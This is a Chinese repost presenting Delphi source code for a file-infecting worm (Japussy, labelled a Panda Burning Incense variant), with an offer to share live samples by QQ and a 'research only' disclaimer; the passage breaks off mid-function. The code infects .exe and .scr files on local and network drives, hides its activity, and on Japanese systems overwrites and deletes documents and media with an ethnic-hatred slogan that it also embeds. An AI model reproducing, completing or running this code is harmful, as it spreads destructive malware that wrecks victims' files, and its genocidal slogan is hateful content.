[转载]熊猫烧香变种 金猪报喜

原始出处:QQ:542717064

样本在我的ASP空间里,地址可能会失效,大家可以加我,到时传给你^_^QQ:542717064
仅供研究之用,使用不当而造成任何后果,与本人无关
熊猫烧香核心代码
Code Language : Delphi
  1. program japussy;
  2. uses
  3. windows, sysutils, classes, graphics, shellapi{, registry};
  4. const
  5. headersize = 82432;       //病毒体的大小
  6. iconoffset = $12eb8;      //pe文件主图标的偏移量
  7. //在我的delphi5 sp1上面编译得到的大小,其它版本的delphi可能不同
  8. //查找2800000020的十六进制字符串可以找到主图标的偏移量  
  9. {
  10. headersize = 38912;       //upx压缩过病毒体的大小
  11. iconoffset = $92bc;       //upx压缩过pe文件主图标的偏移量
  12. //upx 1.24w 用法: upx -9 --8086 japussy.exe
  13. }
  14. iconsize  = $2e8;       //pe文件主图标的大小--744字节
  15. icontail  = iconoffset + iconsize; //pe文件主图标的尾部
  16. id    = $44444444;     //感染标记
  17. //垃圾码,以备写入
  18. catchword = 'if a race need to be killed out, it must be yamato. ' +
  19.     'if a country need to be destroyed, it must be japan! ' +
  20.     '*** w32.japussy.worm.a ***';
  21. {$r *.res}
  22. function registerserviceprocess(dwprocessid, dwtype: integer): integer;
  23. stdcall; external 'kernel32.dll'; //函数声明
  24. var
  25. tmpfile: string;
  26. si:   startupinfo;
  27. pi:   process_information;
  28. isjap:  boolean = false; //日文操作系统标记
  29. { 判断是否为win9x }
  30. function iswin9x: boolean;
  31. var
  32. ver: tosversioninfo;
  33. begin
  34. result := false;
  35. ver.dwosversioninfosize := sizeof(tosversioninfo);
  36. if not getversionex(ver) then
  37.  exit;
  38. if (ver.dwplatformid = ver_platform_win32_windows) then //win9x
  39.  result := true;
  40. end;
  41. { 在流之间复制 }
  42. procedure copystream(src: tstream; sstartpos: integer; dst: tstream;
  43. dstartpos: integer; count: integer);
  44. var
  45. scurpos, dcurpos: integer;
  46. begin
  47. scurpos := src.position;
  48. dcurpos := dst.position;
  49. src.seek(sstartpos, 0);
  50. dst.seek(dstartpos, 0);
  51. dst.copyfrom(src, count);
  52. src.seek(scurpos, 0);
  53. dst.seek(dcurpos, 0);
  54. end;
  55. { 将宿主文件从已感染的pe文件中分离出来,以备使用 }
  56. procedure extractfile(filename: string);
  57. var
  58. sstream, dstream: tfilestream;
  59. begin
  60. try
  61.  sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
  62.  try
  63.   dstream := tfilestream.create(filename, fmcreate);
  64.   try
  65.   sstream.seek(headersize, 0); //跳过头部的病毒部分
  66.   dstream.copyfrom(sstream, sstream.size - headersize);
  67.   finally
  68.  dstream.free;
  69.  end;
  70.  finally
  71. sstream.free;
  72. end;
  73. except
  74. end;
  75. end;
  76. { 填充startupinfo结构 }
  77. procedure fillstartupinfo(var si: startupinfo; state: word);
  78. begin
  79. si.cb := sizeof(si);
  80. si.lpreserved := nil;
  81. si.lpdesktop := nil;
  82. si.lptitle := nil;
  83. si.dwflags := startf_useshowwindow;
  84. si.wshowwindow := state;
  85. si.cbreserved2 := 0;
  86. si.lpreserved2 := nil;
  87. end;
  88. { 发带毒邮件 }
  89. procedure sendmail;
  90. begin
  91. end;
  92. { 感染pe文件 }
  93. procedure infectonefile(filename: string);
  94. var
  95. hdrstream, srcstream: tfilestream;
  96. icostream, dststream: tmemorystream;
  97. iid: longint;
  98. aicon: ticon;
  99. infected, ispe: boolean;
  100. i: integer;
  101. buf: array[0..1] of char;
  102. begin
  103. try //出错则文件正在被使用,退出
  104.  if comparetext(filename, 'japussy.exe') = 0 then //是自己则不感染
  105. exit;
  106.  infected := false;
  107.  ispe  := false;
  108.  srcstream := tfilestream.create(filename, fmopenread);
  109.  try
  110.   for i := 0 to $108 do //检查pe文件头
  111.   begin
  112.   srcstream.seek(i, sofrombeginning);
  113.   srcstream.read(buf, 2);
  114.   if (buf[0] = #80) and (buf[1] = #69) then //pe标记
  115.   begin
  116.    ispe := true; //是pe文件
  117.    break;
  118.   end;
  119.   end;
  120.   srcstream.seek(-4, sofromend); //检查感染标记
  121.   srcstream.read(iid, 4);
  122.   if (iid = id) or (srcstream.size < 10240) then //太小的文件不感染
  123.   infected := true;
  124.  finally
  125.   srcstream.free;
  126.  end;
  127.  if infected or (not ispe) then //如果感染过了或不是pe文件则退出
  128.   exit;
  129.  icostream := tmemorystream.create;
  130.  dststream := tmemorystream.create;
  131.  try
  132.   aicon := ticon.create;
  133.   try
  134.   //得到被感染文件的主图标(744字节),存入流
  135.   aicon.releasehandle;
  136.   aicon.handle := extracticon(hinstance, pchar(filename), 0);
  137.   aicon.savetostream(icostream);
  138.   finally
  139.   aicon.free;
  140.   end;
  141.   srcstream := tfilestream.create(filename, fmopenread);
  142.   //头文件
  143.   hdrstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
  144.   try
  145.   //写入病毒体主图标之前的数据
  146.   copystream(hdrstream, 0, dststream, 0, iconoffset);
  147.   //写入目前程序的主图标
  148.   copystream(icostream, 22, dststream, iconoffset, iconsize);
  149.   //写入病毒体主图标到病毒体尾部之间的数据
  150.   copystream(hdrstream, icontail, dststream, icontail, headersize - icontail);
  151.   //写入宿主程序
  152.   copystream(srcstream, 0, dststream, headersize, srcstream.size);
  153.   //写入已感染的标记
  154.   dststream.seek(0, 2);
  155.   iid := $44444444;
  156.   dststream.write(iid, 4);
  157.   finally
  158.   hdrstream.free;
  159.   end;
  160.  finally
  161.   srcstream.free;
  162.   icostream.free;
  163.   dststream.savetofile(filename); //替换宿主文件
  164.   dststream.free;
  165.  end;
  166. except;
  167. end;
  168. end;
  169. { 将目标文件写入垃圾码后删除 }
  170. procedure smashfile(filename: string);
  171. var
  172. filehandle: integer;
  173. i, size, mass, max, len: integer;
  174. begin
  175. try
  176.  setfileattributes(pchar(filename), 0); //去掉只读属性
  177.  filehandle := fileopen(filename, fmopenwrite); //打开文件
  178.  try
  179.   size := getfilesize(filehandle, nil); //文件大小
  180.   i := 0;
  181.   randomize;
  182.   max := random(15); //写入垃圾码的随机次数
  183.   if max < 5 then
  184.   max := 5;
  185.   mass := size div max; //每个间隔块的大小
  186.   len := length(catchword);
  187.   while i < max do
  188.   begin
  189.   fileseek(filehandle, i * mass, 0); //定位
  190.   //写入垃圾码,将文件彻底破坏掉
  191.   filewrite(filehandle, catchword, len);
  192.   inc(i);
  193.   end;
  194.  finally
  195.   fileclose(filehandle); //关闭文件
  196.  end;
  197.  deletefile(pchar(filename)); //删除之
  198. except
  199. end;
  200. end;
  201. { 获得可写的驱动器列表 }
  202. function getdrives: string;
  203. var
  204. disktype: word;
  205. d: char;
  206. str: string;
  207. i: integer;
  208. begin
  209. for i := 0 to 25 do //遍历26个字母
  210. begin
  211.  d := chr(i + 65);
  212.  str := d + ':\';
  213.  disktype := getdrivetype(pchar(str));
  214.  //得到本地磁盘和网络盘
  215.  if (disktype = drive_fixed) or (disktype = drive_remote) then
  216.   result := result + d;
  217. end;
  218. end;
  219. { 遍历目录,感染和摧毁文件 }
  220. procedure loopfiles(path, mask: string);
  221. var
  222. i, count: integer;
  223. fn, ext: string;
  224. subdir: tstrings;
  225. searchrec: tsearchrec;
  226. msg: tmsg;
  227. function isvaliddir(searchrec: tsearchrec): integer;
  228. begin
  229.  if (searchrec.attr <> 16) and (searchrec.name <> '.') and
  230.   (searchrec.name <> '..') then
  231.   result := 0 //不是目录
  232.  else if (searchrec.attr = 16) and (searchrec.name <> '.') and
  233.   (searchrec.name <> '..') then
  234.   result := 1 //不是根目录
  235.  else result := 2; //是根目录
  236. end;
  237. begin
  238. if (findfirst(path + mask, faanyfile, searchrec) = 0) then
  239. begin
  240.  repeat
  241.   peekmessage(msg, 0, 0, 0, pm_remove); //调整消息队列,避免引起怀疑
  242.   if isvaliddir(searchrec) = 0 then
  243.   begin
  244.   fn := path + searchrec.name;
  245.   ext := uppercase(extractfileext(fn));
  246.   if (ext = '.exe') or (ext = '.scr') then
  247.   begin
  248.    infectonefile(fn); //感染可执行文件  
  249.   end
  250.   else if (ext = '.htm') or (ext = '.html') or (ext = '.asp') then
  251.   begin
  252.    //感染html和asp文件,将base64编码后的病毒写入
  253.    //感染浏览此网页的所有用户
  254.    //哪位大兄弟愿意完成之?
  255.   end
  256.   else if ext = '.wab' then //outlook地址簿文件
  257.   begin
  258.    //获取outlook邮件地址
  259.   end
  260.   else if ext = '.adc' then //foxmail地址自动完成文件
  261.   begin
  262.    //获取foxmail邮件地址
  263.   end
  264.   else if ext = 'ind' then //foxmail地址簿文件
  265.   begin
  266.    //获取foxmail邮件地址
  267.   end
  268.   else
  269.   begin
  270.    if isjap then //是倭文操作系统
  271.    begin
  272.     if (ext = '.doc') or (ext = '.xls') or (ext = '.mdb') or
  273.     (ext = '.mp3') or (ext = '.rm') or (ext = '.ra') or
  274.     (ext = '.wma') or (ext = '.zip') or (ext = '.rar') or
  275.     (ext = '.mpeg') or (ext = '.asf') or (ext = '.jpg') or
  276.     (ext = '.jpeg') or (ext = '.gif') or (ext = '.swf') or
  277.     (ext = '.pdf') or (ext = '.chm') or (ext = '.avi') then
  278.      smashfile(fn); //摧毁文件
  279.    end;
  280.   end;
  281.   end;
  282.   //感染或删除一个文件后睡眠200毫秒,避免cpu占用率过高引起怀疑
  283.   sleep(200);
  284.  until (findnext(searchrec) <> 0);
  285. end;
  286. findclose(searchrec);
  287. subdir := tstringlist.create;
  288. if (findfirst(path + '*.*', fadirectory, searchrec) = 0) then
  289. begin
  290.  repeat
  291.   if isvaliddir(searchrec) = 1 then
  292.   subdir.add(searchrec.name);
  293.  until (findnext(searchrec) <> 0);
  294.  end